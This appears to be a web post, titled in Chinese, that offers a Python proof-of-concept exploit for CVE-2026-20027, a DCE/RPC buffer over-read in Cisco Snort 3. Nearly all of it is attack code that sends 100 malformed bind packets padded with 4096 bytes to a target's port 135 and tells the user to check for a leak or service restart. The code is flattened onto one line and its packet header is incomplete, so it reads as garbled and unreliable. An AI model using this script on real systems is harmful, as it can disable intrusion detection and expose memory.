CVE-2026-20027 Cisco Snort 3 DCE/RPC缓冲区越界读取漏洞

#!/usr/bin/env python3 # CVE-2026-20027 PoC - Snort 3 DCE/RPC Buffer Over-read # This PoC demonstrates sending malformed DCE/RPC requests to trigger the vulnerability import socket import struct import sys def create_dcerpc_bind_packet(): """Create a DCE/RPC bind packet with oversized fragments""" # DCE/RPC packet header structure version = 5 packet_type = 0x0B # Bind/Alter context flags = 0x03 # Fragment, Last fragment # UUID for interface interface_uuid = b'\xa0\x36\x9b\x28\x97\x62\x1b\x41\xbe\x62\x97\x74\x68\x4f\x3a\x6f' # Create header with oversized data length packet = bytearray() packet.extend([version, packet_type, flags, 0x00]) # Header packet.extend(struct.pack('<H', 0x0000)) # Frag length (will be manipulated) packet.extend(struct.pack('<H', 0x0000)) # Call ID # Add interface UUID packet.extend(interface_uuid) # Add oversized data to trigger buffer over-read # This simulates the malformed DCE/RPC request oversized_data = b'\x41' * 4096 packet.extend(oversized_data) return bytes(packet) def exploit(target_ip, target_port=135): """Send malformed DCE/RPC requests to trigger vulnerability""" print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Sending malformed DCE/RPC packets...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send multiple malformed packets for i in range(100): packet = create_dcerpc_bind_packet() sock.send(packet) print(f"[+] Packet {i+1} sent") print("[*] Attack completed. Check for information leak or service restart.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 135 exploit(target, port)